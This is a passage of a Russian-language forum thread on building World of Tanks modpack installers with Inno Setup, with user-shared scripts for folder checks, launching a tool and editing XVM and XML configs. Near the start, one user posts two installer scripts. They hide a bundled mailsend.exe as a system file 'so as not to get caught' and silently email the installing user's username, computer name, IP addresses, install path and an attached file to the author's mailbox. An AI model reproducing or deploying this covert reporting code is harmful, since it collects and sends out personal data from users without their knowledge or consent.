Jump to content
Korean Random
EvilAlex

Создание инсталляторов для модпаков на базе Inno Setup

Recommended Posts

привет кто знает IDP можэт скачать с mail.ru

Edited by asterix93

Share this post


Link to post

Short link
Share on other sites

Вот харошая штука каму нужна рапорт установке

 

Мои вариант палучение локалныи IP:

#ifndef IS_ENHANCED
  #error Enhanced edition of Inno Setup (restools) is required to compile this script
#endif

;************************************************************************************************************************************************************************************************
#define mailfrom   "[email protected]" /* укажите e-mail отправителя (с какого ящика пойдёт письмо - зарегать левую почту) для mail.ru; нужный раскомментировать, не нужный - закомментировать   */
;#define mailfrom  "[email protected]" /* укажите e-mail отправителя (с какого ящика пойдёт письмо - зарегать левую почту) для yandex.ru; нужный раскомментировать, не нужный - закомментировать */
;#define mailfrom  "[email protected]" /* укажите e-mail отправителя (с какого ящика пойдёт письмо - зарегать левую почту) для gmail.com; нужный раскомментировать, не нужный - закомментировать */   
#define smtp        "smtp.mail.ru" /* укажите smtp сервер (для mail.ru); нужный раскомментировать, не нужный - закомментировать                                  */
;#define smtp    "smtp.yandex.ru" /* укажите smtp сервер (для yandex.ru); нужный раскомментировать, не нужный - закомментировать                                */
;#define smtp    "smtp.gmail.com" /* укажите smtp сервер (для gmail.com); нужный раскомментировать, не нужный - закомментировать                                */
#define psswrd      "blablabla"/* укажите пароль отправителя (с левого ящика) обязательно, а то письмо не уйдёт                                       */
#define name         "Админ" /* укажите имя, от которого будет послано сообщение (можно на русском)                                                  */
#define subj "Программа установлена" /* укажите тему сообщения (можно на русском)                                                                           */
#define mailto      "[email protected]" /* укажите e-mail получателя (ящик, который будем проверять; хоть какой, конечно только не тот, с которого отправляем; пароль указывать не надо!)         */
;************************************************************************************************************************************************************************************************

[Setup]
AppName=MailSend
AppVersion=MailSend
DefaultDirName={pf}\MailSend
DefaultGroupName=MailSend
OutputDir=.
OutputBaseFilename=MailSend
DisableDirPage=yes
DisableProgramGroupPage=yes
DisableFinishedPage=yes
DisableReadyPage=yes
DisableWelcomePage=yes
Compression=lzma2/ultra64
InternalCompressLevel=ultra64
SolidCompression=yes
LZMAUseSeparateProcess=yes
LZMADictionarySize=262144

[Languages]
Name: rus; MessagesFile: compiler:Languages\Russian.isl

[Files]
; программка для отсылки сообщений; копируется во временную папку, так, что сама и удаляется после установки
Source: "mailsend\mailsend.exe"; Flags: dontcopy;
; тестовый файлик; в реале ненужен
Source: "mailsend\test.txt"; DestDir: "{app}"; Flags: ignoreversion;
Source: "mailsend\InetUtils.dll"; Flags: dontcopy;
[Code]
type
#ifdef UNICODE
  PChar = PAnsiChar;
#endif

function SetFileAttributes(lpFileName: PChar; dwFileAttributes: DWORD): BOOL; external '[email protected] stdcall';
function GetLocalIPListA(List: PAnsiChar): DWORD; external 'GetLocalIPListA@files:InetUtils.dll stdcall';
// проверяем интернет и получаем внешнии ip
function GetHtmlSource(const url: string): string;
var
  vHttp: Variant;
begin
  try
    vHttp:= CreateOleObject('Microsoft.XMLHTTP');
    vHttp.open('GET', url, False);
    vHttp.send;
    Result:= vHttp.responseText;
  except
  Exit;
  end;
end;
//палчение локальныи IP адрес
function GetLocalIPList: string;
var
  List: AnsiString;
  Size: DWORD;
begin
  SetLength(List, 255);
  Size := GetLocalIPListA(PAnsiChar(List));
  SetLength(List, integer(Size));
  Result := string(List);
end;
 
procedure SendToMail;
var
ResultCode: Integer;
S,body,SP,St,attachf,A: String;
begin
St:= #13#10;
// делаем программку скрытой и системной, что бы не палиться
SetFileAttributes(PChar(ExpandConstant('{tmp}\mailsend.exe')), FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM);
// заносим в переменную S значение внешнии ip
S:= GetHtmlSource('http://bot.whatismyipaddress.com/');
  // заносим в переменную A значение локальныи ip
  A:= GetLocalIPList;
// если S не пустая, значит интернет есть! продолжаем
if S <> '' then begin
  // само письмо - тут что хочешь, то и пишешь, например:
  body:= AddQuotes('Имя пользователя: '+ExpandConstant('{username}')+St+   // имя пользователя, с компьютера которого отправлено сообщение
           'Имя компьютера: '+ExpandConstant('{computername}')+St+ // имя компьютера, с которого отправлено сообщение
           'IP адрес: '+ A +'; '+S+St+                                      // интернет адрес (IP), с которого отправлено сообщение
           'Программа '+'""{#SetupSetting("AppName")}""'+' установлена в: '+WizardForm.DirEdit.Text+St+ // имя и путь установки программ
           'Дата и локалное время установки: '+DateToStr(Date)+' / '+TimeToStr(Time)); // дата и локальное время (время на компьютере, с которого отправлено сообщение) установки программы
  // название файла, который нужно отправить и путь до него (в примере - папка установки программы и файл test.txt)
  attachf:= AddQuotes(ExpandConstant('{app}\')+'test.txt');
  // если прикреплённый файл на месте
  if FileExists(RemoveQuotes(attachf)) then
  // то коммандная строка программки для отсылки сообщений с прикреплённым файлом
   SP:= '-smtp '+'{#smtp}'+' -port 465'+' -ssl -auth -user '+'{#mailfrom}'+' -pass '+'{#psswrd}'+' -t '+'{#mailto}'+' -f '+'{#mailfrom}'+' -name '+'{#name}'+' -cs 1251 +cc +bc -q -attach '+attachf+' -sub '+'"{#subj}"'+' -M '+body
  // а вот если он не нашёлся
  else
  // то коммандная строка программки для отсылки сообщений без прикреплённого файла
   SP:= '-smtp '+'{#smtp}'+' -port 465'+' -ssl -auth -user '+'{#mailfrom}'+' -pass '+'{#psswrd}'+' -t '+'{#mailto}'+' -f '+'{#mailfrom}'+' -name '+'{#name}'+' -cs 1251 +cc +bc -q -sub '+'"{#subj}"'+' -M '+body;
  //отправляем письмо, с файлом или без него
   Exec(ExpandConstant('{tmp}\mailsend.exe'), SP, ExpandConstant('{tmp}'), SW_HIDE, ewWaitUntilTerminated, ResultCode);
  // это прикол - сообщение, если отключен интернет. в реале поставить ; после end и всё, что дальше - удалить. ну или закомментировать
end else MsgBoxEx(0,'Сначала интернет включи!', 'Отправка письма', MB_OK or MB_ICONINFORMATION, 0, 10);
end;

procedure CurStepChanged(CurStep: TSetupStep);
begin
case CurStep of
  ssPostInstall: begin
   if not FileExists(ExpandConstant('{tmp}\mailsend.exe')) then ExtractTemporaryFile('mailsend.exe');
    SendToMail;
  end;
end;
end;

 


 
Офитиальныи вариант:  http://krinkels.org/threads/mailsend-tixaja-otpravka-soobschenija-s-vlozheniem.2970/

 
#ifndef IS_ENHANCED
  #error Enhanced edition of Inno Setup (restools) is required to compile this script
#endif

;************************************************************************************************************************************************************************************************
#define mailfrom   "[email protected]" /* укажите e-mail отправителя (с какого ящика пойдёт письмо - зарегать левую почту) для mail.ru; нужный раскомментировать, не нужный - закомментировать   */
;#define mailfrom  "[email protected]" /* укажите e-mail отправителя (с какого ящика пойдёт письмо - зарегать левую почту) для yandex.ru; нужный раскомментировать, не нужный - закомментировать */
;#define mailfrom  "[email protected]" /* укажите e-mail отправителя (с какого ящика пойдёт письмо - зарегать левую почту) для gmail.com; нужный раскомментировать, не нужный - закомментировать */   
#define smtp        "smtp.mail.ru" /* укажите smtp сервер (для mail.ru); нужный раскомментировать, не нужный - закомментировать                                  */
;#define smtp    "smtp.yandex.ru" /* укажите smtp сервер (для yandex.ru); нужный раскомментировать, не нужный - закомментировать                                */
;#define smtp    "smtp.gmail.com" /* укажите smtp сервер (для gmail.com); нужный раскомментировать, не нужный - закомментировать                                */
#define psswrd      "blablabla"/* укажите пароль отправителя (с левого ящика) обязательно, а то письмо не уйдёт                                       */
#define name         "Админ" /* укажите имя, от которого будет послано сообщение (можно на русском)                                                  */
#define subj "Программа установлена" /* укажите тему сообщения (можно на русском)                                                                           */
#define mailto      "[email protected]" /* укажите e-mail получателя (ящик, который будем проверять; хоть какой, конечно только не тот, с которого отправляем; пароль указывать не надо!)         */
;************************************************************************************************************************************************************************************************

[Setup]
AppName=MailSend
AppVersion=MailSend
DefaultDirName={pf}\MailSend
DefaultGroupName=MailSend
OutputDir=.
OutputBaseFilename=MailSend
DisableDirPage=yes
DisableProgramGroupPage=yes
DisableFinishedPage=yes
DisableReadyPage=yes
DisableWelcomePage=yes
Compression=lzma2/ultra64
InternalCompressLevel=ultra64
SolidCompression=yes
LZMAUseSeparateProcess=yes
LZMADictionarySize=262144

[Languages]
Name: rus; MessagesFile: compiler:Languages\Russian.isl

[Files]
; программка для отсылки сообщений; копируется во временную папку, так, что сама и удаляется после установки
Source: "mailsend\mailsend.exe"; Flags: dontcopy;
; тестовый файлик; в реале ненужен
Source: "mailsend\test.txt"; DestDir: "{app}"; Flags: ignoreversion;

[code]
type
#ifdef UNICODE
  PChar = PAnsiChar;
#endif

function SetFileAttributes(lpFileName: PChar; dwFileAttributes: DWORD): BOOL; external '[email protected] stdcall';

// проверяем интернет и получаем ip
function GetHtmlSource(const url: string): string;
var
  vHttp: Variant;
begin
  try
    vHttp:= CreateOleObject('Microsoft.XMLHTTP');
    vHttp.open('GET', url, False);
    vHttp.send;
    Result:= vHttp.responseText;
  except
  Exit;
  end;
end;
 
procedure SendToMail;
var
ResultCode: Integer;
S,body,SP,St,attachf: String;
begin
St:= #13#10;
// делаем программку скрытой и системной, что бы не палиться
SetFileAttributes(PChar(ExpandConstant('{tmp}\mailsend.exe')), FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM);
// заносим в переменную S значение ip
S:= GetHtmlSource('http://bot.whatismyipaddress.com/');
// если S не пустая, значит интернет есть! продолжаем
if S <> '' then begin
  // само письмо - тут что хочешь, то и пишешь, например:
  body:= AddQuotes('Имя пользователя: '+ExpandConstant('{username}')+St+   // имя пользователя, с компьютера которого отправлено сообщение
           'Имя компьютера: '+ExpandConstant('{computername}')+St+ // имя компьютера, с которого отправлено сообщение
           'IP адрес: '+S+St+                                      // интернет адрес (IP), с которого отправлено сообщение
           'Программа '+'""{#SetupSetting("AppName")}""'+' установлена в: '+WizardForm.DirEdit.Text+St+ // имя и путь установки программ
           'Дата и локалное время установки: '+DateToStr(Date)+' / '+TimeToStr(Time)); // дата и локальное время (время на компьютере, с которого отправлено сообщение) установки программы
  // название файла, который нужно отправить и путь до него (в примере - папка установки программы и файл test.txt)
  attachf:= AddQuotes(ExpandConstant('{app}\')+'test.txt');
  // если прикреплённый файл на месте
  if FileExists(RemoveQuotes(attachf)) then
  // то коммандная строка программки для отсылки сообщений с прикреплённым файлом
   SP:= '-smtp '+'{#smtp}'+' -port 465'+' -ssl -auth -user '+'{#mailfrom}'+' -pass '+'{#psswrd}'+' -t '+'{#mailto}'+' -f '+'{#mailfrom}'+' -name '+'{#name}'+' -cs 1251 +cc +bc -q -attach '+attachf+' -sub '+'"{#subj}"'+' -M '+body
  // а вот если он не нашёлся
  else
  // то коммандная строка программки для отсылки сообщений без прикреплённого файла
   SP:= '-smtp '+'{#smtp}'+' -port 465'+' -ssl -auth -user '+'{#mailfrom}'+' -pass '+'{#psswrd}'+' -t '+'{#mailto}'+' -f '+'{#mailfrom}'+' -name '+'{#name}'+' -cs 1251 +cc +bc -q -sub '+'"{#subj}"'+' -M '+body;
  //отправляем письмо, с файлом или без него
   Exec(ExpandConstant('{tmp}\mailsend.exe'), SP, ExpandConstant('{tmp}'), SW_HIDE, ewWaitUntilTerminated, ResultCode);
  // это прикол - сообщение, если отключен интернет. в реале поставить ; после end и всё, что дальше - удалить. ну или закомментировать
end else MsgBoxEx(0,'Сначала интернет включи!', 'Отправка письма', MB_OK or MB_ICONINFORMATION, 0, 10);
end;

procedure CurStepChanged(CurStep: TSetupStep);
begin
case CurStep of
  ssPostInstall: begin
   if not FileExists(ExpandConstant('{tmp}\mailsend.exe')) then ExtractTemporaryFile('mailsend.exe');
    SendToMail;
  end;
end;
end;

Edited by asterix93

Share this post


Link to post

Short link
Share on other sites

Здравствуйте ! Нужно реализовать в программе на Delphi проверку на наличие файлов игры, чтобы установка была только в папку с игрой и никуда больше. Или такую же проверку сделать только в установке Inno Sutup при выборе папки для установки . Если кто то знает как это сделать на Inno setup или на Delphi скиньте код пожалуйста

Share this post


Link to post

Short link
Share on other sites

Здравствуйте ! Нужно реализовать в программе на Delphi проверку на наличие файлов игры, чтобы установка была только в папку с игрой и никуда больше. Или такую же проверку сделать только в установке Inno Sutup при выборе папки для установки . Если кто то знает как это сделать на Inno setup или на Delphi скиньте код пожалуйста

    case CurPageID of
        wpSelectDir:
            begin
                { check file location }
                Result := FileExists(ExpandConstant('{app}\WorldOfTanks.exe'));
                if not Result then
                begin
                    MsgBoxEx(WizardForm.Handle, CustomMessage('FileNotExistMsg'), CustomMessage('FileNotExistMsgCaption'), MB_OK or MB_ICONWARNING, 0, 0);
                    Exit;
                end;

Чисто для образца...вешать можно на кнопку "Далее"

Само собой написать еще CustomMessage соответствующий.

Edited by Yusha
  • Upvote 2
  • Downvote 2

Share this post


Link to post

Short link
Share on other sites

памагите пажалуста ат чево эта ашыбка

Если речь идёт о работе с объектами, обращение к элементам которых осуществляется через индексы (например: CheckListBox, ComboBox, StringList и т.д.), то необходимо учитывать, что отсчёт начинается с 0. Например: первый компонент в CheckListBox`е имеет индекс 0, второй компонент - индекс 1, и т.д.

Красивее объяснить не смог. Но, думаю, всё понятно.

  • Upvote 1

Share this post


Link to post

Short link
Share on other sites

Если речь идёт о работе с объектами, обращение к элементам которых осуществляется через индексы (например: CheckListBox, ComboBox, StringList и т.д.), то необходимо учитывать, что отсчёт начинается с 0. Например: первый компонент в CheckListBox`е имеет индекс 0, второй компонент - индекс 1, и т.д.

Красивее объяснить не смог. Но, думаю, всё понятно.

Да я понел и делал спасиба нашол, бил так как ты сказал

Памагите так правилина или нет

[Code]
Procedure MCTCreatorLaunch();
var
 ResCode: Integer;
 Params: String;
begin
 ResCode := 666;
 if FileExists(ExpandConstant('{app}\{#MyAppName}\MCTCreator\MCTCreator.exe')) and FileExists(ExpandConstant('{app}\{#MyAppName}\MCTCreator\Trains.cfg')) and
  FileExists(ExpandConstant('{app}\{#MyAppName}\MCTCreator\MapTanks.cfg')) and FileExists(ExpandConstant('{app}\{#MyAppName}\MCTCreator\CrashTanks.cfg')) then
 begin
  If COMP4(CustomMessage('CompLupta45')) and  COMP4(CustomMessage('CompLupta46')) and  COMP4(CustomMessage('CompLupta47')) then
   Params := '/wot-path "' + ExpandConstant('{app}') + '" /operational-mode=0 /DPT-mod "#FFFFFF" /CT-mod "#FFFFFF" /MEM-mod "#FFFFFF" /DCT-mod "#FFFFFF"';
  //Белыe текстур уничтоженной техники
  If COMP4(CustomMessage('CompLupta45'))  and not  COMP4(CustomMessage('CompLupta47')) then
   Params := '/wot-path "' + ExpandConstant('{app}') + '" /operational-mode=0 /DPT-mod "#FFFFFF" /MEM-mod "#FFFFFF" /DCT-mod "#FFFFFF"';
  //Синиe текстур уничтоженной техники
  If COMP4(CustomMessage('CompLupta46')) and not  COMP4(CustomMessage('CompLupta47')) then
   Params := '/wot-path "' + ExpandConstant('{app}') + '" /operational-mode=0 /DPT-mod "#367EFF" /MEM-mod "#367EFF" /DCT-mod "#367EFF"';
  //Белыe текстур сбитых гусениц\траков
  If not COMP4(CustomMessage('CompLupta46')) and COMP4(CustomMessage('CompLupta47')) then
   Params := '/wot-path "' + ExpandConstant('{app}') + '" /operational-mode=0 /CT-mod "#FFFFFF" /MEM-mod "#FFFFFF" /DCT-mod "#FFFFFF"';
  ExecAsOriginalUser(ExpandConstant('{app}\{#MyAppName}\MCTCreator\MCTCreator.exe'), Params, ExpandConstant('{app}\{#MyAppName}\MCTCreator'), SW_SHOW, ewWaitUntilTerminated, ResCode);
  if ResCode <> 0 then
   MsgBoxEx(WizardForm.Handle, 'Непредвиденная ошибка.' + #13#10 + 'Result code is: ' + IntToStr(ResCode) + '.', '{#__FILE__}: {#__LINE__}', MB_OK or MB_ICONERROR, 0, 0);
 end else
  MsgBoxEx(WizardForm.Handle, 'Файлы "..{#MyAppName}\MCTCreator\*" не найдены.' + #13#10 + 'Пожалуйста, перезапустите установщик.', '{#__FILE__}: {#__LINE__}', MB_OK or MB_ICONERROR, 0, 0);
 Log('[CUSTOM LOG]: ' + 'MCTCreatorLaunch(). Result Code is: ' + IntToStr(ResCode) + '.');
end; 

Share this post


Link to post

Short link
Share on other sites

 

 

Памагите так правилина или нет
С виду правильно. А вообще устанавливай, проверяй и увидишь сам, правильно или нет.

Share this post


Link to post

Short link
Share on other sites

С виду правильно. А вообще устанавливай, проверяй и увидишь сам, правильно или нет.

В атам и праблема не работает незнаю пачему гдета у меня ашибка

Share this post


Link to post

Short link
Share on other sites
не работает незнаю пачему

Никогда не стоит так писать.

Если не работает - пиши, что именно (если, конечно, хочешь получить помощь).

Edited by Kotyarko_O

Share this post


Link to post

Short link
Share on other sites

Никогда не стоит так писать.

Если не работает - пиши, что именно (если, конечно, хочешь получить помощь).

Не запускаица MCTCreator

Share this post


Link to post

Short link
Share on other sites

Не запускаица MCTCreator

Потому что одной этой процедуры недостаточно. Помимо этого её описания, её нужно откуда-то выполнить. Выполнение из-под служебных процедур (типа CurStepChanged) было бы не совсем корректно, поэтому я её выполняю непосредственно после распаковки самого MCTCreator`а. Вот так:

[Files]
Source: "...\MCTCREATOR\*.cfg"; DestDir: "..."; Flags: ignoreversion; Components: ...;
Source: "...\MCTCREATOR\MCTCreator.exe"; DestDir: "..."; Flags: ignoreversion; AfterInstall: MCTCreatorLaunch(); Components: ...;
Edited by Kotyarko_O

Share this post


Link to post

Short link
Share on other sites

 

Потому что одной этой процедуры недостаточно. Помимо этого её описания, её нужно откуда-то выполнить. Выполнение из-под служебных процедур (типа CurStepChanged) было бы не совсем корректно, поэтому я её выполняю непосредственно после распаковки самого MCTCreator`а. Вот так:

[Files]
Source: "...\MCTCREATOR\*.cfg"; DestDir: "..."; Flags: ignoreversion; Components: ...;
Source: "...\MCTCREATOR\MCTCreator.exe"; DestDir: "..."; Flags: ignoreversion; AfterInstall: MCTCreatorLaunch(); Components: ...;

Мда Спасиба палучилась

Share this post


Link to post

Short link
Share on other sites

Всем привет.

Коллеги. Вдруг кто из вас хорошо знаком с программой Advanced Installer.

Нужна минимальная помощь по "сложным" настройкам инсталлятора для получения нужного результата.

 

Откликнитесь, пожалуйста, кто может помочь.

Share this post


Link to post

Short link
Share on other sites

Привет я брал у Kotyarko_O скрипт ConfigEditor.iss для XVM я переделал скрипт но у меня праблема после дабавление даёт ашыбка кагда хачу компилиравать не магу паняти ат чево эта
вот как я переделал

#include "XML.iss"

[Code]
Const
 XVM = '{app}\res_mods\configs\xvm\{#Author}\';

Procedure EditorResourse(DefPath: String; var Config: TStringList; ConfigPath: String; OldValue, NewValue: AnsiString);
var
 ConfigSetStr: TArrayOfString;
 ConfigANSIStr: AnsiString;
 Temp: String;
begin
 Temp := String(ConfigANSIStr);
 try
  Config.LoadFromFile(ConfigPath);
  Temp := Config.Text;
  StringChange(Temp, OldValue, NewValue);
  Config.Text := Temp;
  Config.SaveToFile(ConfigPath);
  if (DefPath = XVM) then
   if LoadStringsFromFile(ConfigPath, ConfigSetStr) then
    SaveStringsToUTF8File(ConfigPath, ConfigSetStr, False);
 finally
  Config.Free;
 end;
end;

Procedure ConfigEdit(DefPath, ConfigFile, ExtPathWithSlash: String; IsComponents: Boolean; OldValue, NewValue: String);
var
 Config: TStringList;
 ConfigPath: String;
begin
 if IsComponents then
 try
  Config := TStringList.Create;
  ConfigPath := ExpandConstant(DefPath) + AddBackslash(ExtPathWithSlash) + ConfigFile;
  EditorResourse(DefPath, Config, ConfigPath, OldValue, NewValue);
 except
  Config.Free;
  Log('[CUSTOM LOG]: ' + '{#__FILE__}, {#__LINE__}: ' + GetExceptionMessage());
  MsgBoxEx(WizardForm.Handle, GetExceptionMessage(), '{#__FILE__}: {#__LINE__}', MB_OK or MB_ICONERROR, 0, 0);
 end;
end;

Procedure ConfigurateXVM();
begin
 ConfigEdit(XVM, '@xvm.xc', '', COMP2(ExpandConstant('{cm:CompXVM1}')), '"date": ""', '"date": "{#CreateDate}"');
 ConfigEdit(XVM, '@xvm.xc', '', COMP2(ExpandConstant('{cm:CompXVM1}')), '"gameVersion": ""', '"gameVersion": "{#Patch}"');
 ConfigEdit(XVM, '@xvm.xc', '', COMP2(ExpandConstant('{cm:CompXVM1}')), '"modMinVersion": ""', '"modMinVersion": "{#XVMver}"');
 ConfigEdit(XVM, 'hitLog.xc', '', COMP4(ExpandConstant('{cm:CompLupta33}')), '"visible": True', '"visible": False'); //hitlog fara XVM - хитлог без XVM
end;

Procedure ConfiguratorInitXVM(CurStep: TSetupStep);
begin
  #ifdef FOR_TESTING
 if CurStep = ssPostInstall then
 begin
  ConfigurateXVM();
 end;
 #endif
end; 

post-33758-0-25521800-1459245122_thumb.png

Edited by asterix93

Share this post


Link to post

Short link
Share on other sites

@asterix93, есть две возможные причины:

  1. Или что-то неправильно записано в XML.iss;
  2. Или в скрипте, подключаемом раньше по очереди, не закрыты операторные скобки.
Edited by Kotyarko_O

Share this post


Link to post

Short link
Share on other sites

 

@asterix93, есть две возможные причины:

  1. Или что-то неправильно записано в XML.iss;
  2. Или в скрипте, подключаемом раньше по очереди, не закрыты операторные скобки.

 

Вот скрипт XML.iss Скрипт тожэ у тебя

 

 

#ifndef GLOBAL_XML_MODULE
#define GLOBAL_XML_MODULE 1

[code]
type
  XMLString = AnsiString;
  
  TTagPoint = record
    Name: String;
    BeginPosI: Integer;
    BeginPosII: Integer;
    EndPosI: Integer;
    EndPosII: Integer;
    Level: Integer;
    IsSingle: Boolean;
  end;

const
  CP_ACP        = 0;
  CP_UTF8       = 65001;
  CodePageUTF8  = 'utf-8';
  
Function MultiByteToWideChar(CodePage: UINT; dwFlags: DWORD; lpMultiByteStr: PAnsiChar; cbMultiByte: integer; lpWideCharStr: PAnsiChar; cchWideChar: integer): longint; external '[email protected] stdcall';
Function WideCharToMultiByte(CodePage: UINT; dwFlags: DWORD; lpWideCharStr: PAnsiChar; cchWideChar: integer; lpMultiByteStr: PAnsiChar; cbMultiByte: integer; lpDefaultChar: integer; lpUsedDefaultChar: integer): longint; external '[email protected] stdcall';

function AnsiToUtf8(strSource: String): string;
var
  nRet2, len: integer;
  WideCharBuf, MultiByteBuf: AnsiString;
begin
  Len:= Length(strSource);
  SetLength(WideCharBuf, Len * 2);
  SetLength(MultiByteBuf, Len * 2);
  MultiByteToWideChar(CP_ACP, 0, PAnsiChar(strSource), Len, WideCharBuf, Length(WideCharBuf));
  nRet2:= WideCharToMultiByte(CP_UTF8, 0, PAnsiChar(WideCharBuf), Len, MultiByteBuf, Length(MultiByteBuf), 0, 0);
  Result:= Trim(Copy(MultiByteBuf, 1, nRet2));
end;

function Utf8ToAnsi(strSource: String): string;
var
  nRet2, len: integer;
  WideCharBuf, MultiByteBuf: AnsiString;
begin
  Len:= Length(strSource);
  SetLength(WideCharBuf, Len*2);
  SetLength(MultiByteBuf, Len*2);
  MultiByteToWideChar(CP_UTF8, 0, PAnsiChar(strSource), -1, WideCharBuf, Length(WideCharBuf));
  nRet2:= WideCharToMultiByte(CP_ACP, 0, PAnsiChar(WideCharBuf), -1, MultiByteBuf, Length(MultiByteBuf), 0, 0);
  Result:= Trim(Copy(MultiByteBuf, 1, nRet2));
end;

function GetExists(TagArr: array of TTagPoint): Boolean;
var
  n: integer;
begin
  Result:= False;
  if (GetArrayLength(TagArr) > 1) then begin
    Result:= True;
    for n:= GetArrayLength(TagArr)-1 downto 1 do begin
      Result:= Result and (TagArr[n].BeginPosI > TagArr[n-1].BeginPosI);
      Result:= Result and (TagArr[n].EndPosII < TagArr[n-1].EndPosII);
    end;
  end else begin
    Result:= (TagArr[0].BeginPosI > 0)and(TagArr[0].EndPosII > 0);
  end;
end;

function ExpandTags(const sFileText, sTagName: string): array of TTagPoint;
var
  i, k, n, d: integer;
  sTags: array of TTagPoint;
  tmp, tmp2: String;
begin
  SetArrayLength(Result, 0);
  If Pos('\', STagName) > 0 then try
    repeat
      i:= GetArrayLength(sTags); SetArrayLength(sTags, i+1);
      sTags[i].Name:= Copy(sTagName, 1, Pos('\', sTagName)-1);
      sTags[i].Level:= i; Delete(sTagName, 1, Pos('\', sTagName));
    until Pos('\', STagName) = 0;
  finally begin i:= GetArrayLength(sTags); SetArrayLength(sTags, i+1); sTags[i].Level:= i;
                sTags[i].Name:= Copy(sTagName, 1, Length(sTagName));
          end;
  end else begin
    SetArrayLength(sTags, 1);
    sTags[0].Name:= sTagName;
  end;
  for i:=0 to GetArrayLength(sTags)-1 do begin
    if i=0 then begin
      k:=0;
      tmp:= sFileText;
    end else begin
      k:= sTags[i-1].BeginPosII;
      tmp:= copy(sFileText, sTags[i-1].BeginPosII+1, sTags[i-1].EndPosI-sTags[i-1].BeginPosII-1);
    end;
    n:= Pos('<'+sTags[i].Name, tmp);
    if n<>0 then begin
      d:= n;
      while tmp[n]<>'>' do n:=n+1;
      sTags[i].BeginPosI:= k+d;
      sTags[i].BeginPosII:= n+k;
      sTags[i].EndPosI:= Pos('</'+sTags[i].Name+'>', tmp)+k;
      
      if sTags[i].EndPosI<=k then begin
        tmp2:= Copy(tmp, d, 2);
        while (d<=Length(tmp))and(tmp2<>'</')and(tmp2<>'/>') do begin
          d:= d+1;
          tmp2:= Copy(tmp, d, 2);
        end;
        if d<Length(tmp) then begin
          if d<n then
            sTags[i].IsSingle:= True;
          sTags[i].EndPosI:= d+k;
        end;
      end;
      if sTags[i].EndPosI>0 then begin
        sTags[i].EndPosII:= sTags[i].EndPosI;
        while sFileText[sTags[i].EndPosII]<>'>' do
          sTags[i].EndPosII:= sTags[i].EndPosII+1;
      end;
    end;
  end;
  Result:= sTags;
end;

function XMLStringChangeValue(var sFileText: XMLString; sTagName, sTagParam: string): Boolean;
var
  Tags: array of TTagPoint;
  i: Integer;
begin
  Result:= False;
  if sFileText <> '' then begin
    Tags:= ExpandTags(sFileText, sTagName);
    If GetExists(Tags) then begin
      i:= GetArrayLength(Tags)-1;
      if Tags[i].IsSingle then Exit;
      Result:= True;
      sFileText:= Copy(sFileText,1,Tags[i].BeginPosII) + AnsiToUtf8(sTagParam) + Copy(sFileText,Tags[i].EndPosI,Length(sFileText));
    end;
  end;
  SetArrayLength(Tags, 0);
end;

function XMLStringWriteValue(var sFileText: XMLString; sTagName, sTagType, sTagParam: String; IsSingleTag: Boolean): Boolean;
var
  sSpace, sText: XMLString;
  i, k, n, CopyPos, last: Integer;
  Tags: array of TTagPoint;
begin
  Result:= False;
  if sFileText = '' then
    sFileText:= '<?xml version="1.0" encoding="utf-8" standalone="yes"?>';
  if  sFileText <> '' then begin
    Tags:= ExpandTags(sFileText, sTagName);
    i:= GetArrayLength(Tags)-1; sText:='';
    if ((i-1)>=0) then for n:=0 to i-1 do begin
      sSpace:= #13#10; if (Tags[n].Level-1>=0) then
        for k:=0 to Tags[n].Level-1 do sSpace:=sSpace+#9;
      if (Tags[n].BeginPosII=0)and(Tags[n].EndPosI=0) then sText:= sText+sSpace+'<'+Tags[n].Name+'>';
    end;
    sSpace:=#13#10; if (i<>0) then for k:= 0 to Tags[i].Level-1 do sSpace:= sSpace+#9;

    sText:= sText+sSpace+'<'+Tags[i].Name;
    if (sTagType <> '') then sText:= sText+' type="'+sTagType+'"';
    if not IsSingleTag then begin
      sText:= sText+'>';
      if (sTagParam <> '') then sText:= sText+AnsiToUtf8(sTagParam)
      else sText:= sText+sSpace;
      sText:= sText+'</'+Tags[i].Name+'>';
    end else
      sText:= sText+'/>';
      
    if ((i-1)>=0) then for n:=i-1 downto 0 do begin
      sSpace:= #13#10; if (Tags[n].Level-1>=0) then for k:=0 to Tags[n].Level-1 do sSpace:=sSpace+#9;
      if (Tags[n].BeginPosI=0)and(Tags[n].EndPosII=0) then sText:= sText+sSpace+'</'+Tags[n].Name+'>';
    end;
    
    last:= -1; if i<>0 then for k:= i-1 downto 0 do begin
      if Tags[k].EndPosI<>0 then begin last:= k; Break; end;
    end;
    
    if GetExists(Tags) then begin
      CopyPos:= Tags[i].BeginPosI-1;
      n:= Tags[i].EndPosII;
      sText:= Trim(sText);
    end else begin
      if (i=0)or(last=-1) then begin
        CopyPos:= Length(sFileText); while sFileText[CopyPos] <> '>' do CopyPos:= CopyPos-1;
      end else begin
        CopyPos:= Tags[last].EndPosI-1; while sFileText[CopyPos] <> '>' do CopyPos:= CopyPos-1;
      end;
      n:= CopyPos;
    end;
    Result:= True;
    
    sFileText:= Copy(sFileText, 1, CopyPos)+sText+Copy(sFileText,n+1,Length(sFileText));
  end;
  SetArrayLength(Tags, 0);
end;

function XMLStringReadValue(sFileText: XMLString; sTagName: string; var sData: string): Boolean;
var
  i: Integer; Tags: array of TTagPoint;
begin
  Result:= False
  if sFileText <> '' then begin
    Tags:= ExpandTags(sFileText, sTagName);
    If GetExists(Tags) then begin
      i:= GetArrayLength(Tags)-1;
      if Tags[i].IsSingle then Exit;
      sData:= Copy(sFileText, Tags[i].BeginPosII+1, Tags[i].EndPosI-Tags[i].BeginPosII-1);
      sData:= Utf8ToAnsi(sData);
      Result:= True;
    end;
  end;
  SetArrayLength(Tags, 0);
end;

function XMLStringDeleteValue(var sFileText: XMLString; sTagName: string): Boolean;
var
  b,e,i: Integer; Tags: array of TTagPoint;
begin
  Result:= False;
  if sFileText <> '' then begin
    Tags:= ExpandTags(sFileText, sTagName);
    If GetExists(Tags) then begin
      i:= GetArrayLength(Tags)-1;
      b:= Tags[i].BeginPosI-1; e:= Tags[i].EndPosII;
      while (b-1<>1)and(sFileText[b-1] <> '>') do b:=b-1;
      while (e+1<>Length(sFileText))and(sFileText[e-2] <> '>') do e:=e+1;
      Result:= True;
      sFileText:= Copy(sFileText,1,b) + Copy(sFileText,e,Length(sFileText));
    end;
  end;
  SetArrayLength(Tags, 0);
end;

function XMLStringKeyExists(sFileText: XMLString; sTagName: String): Boolean;
var
  Tags: array of TTagPoint;
begin
  Result:= False;
  if sFileText <> '' then begin
    Tags:= ExpandTags(sFileText, sTagName);
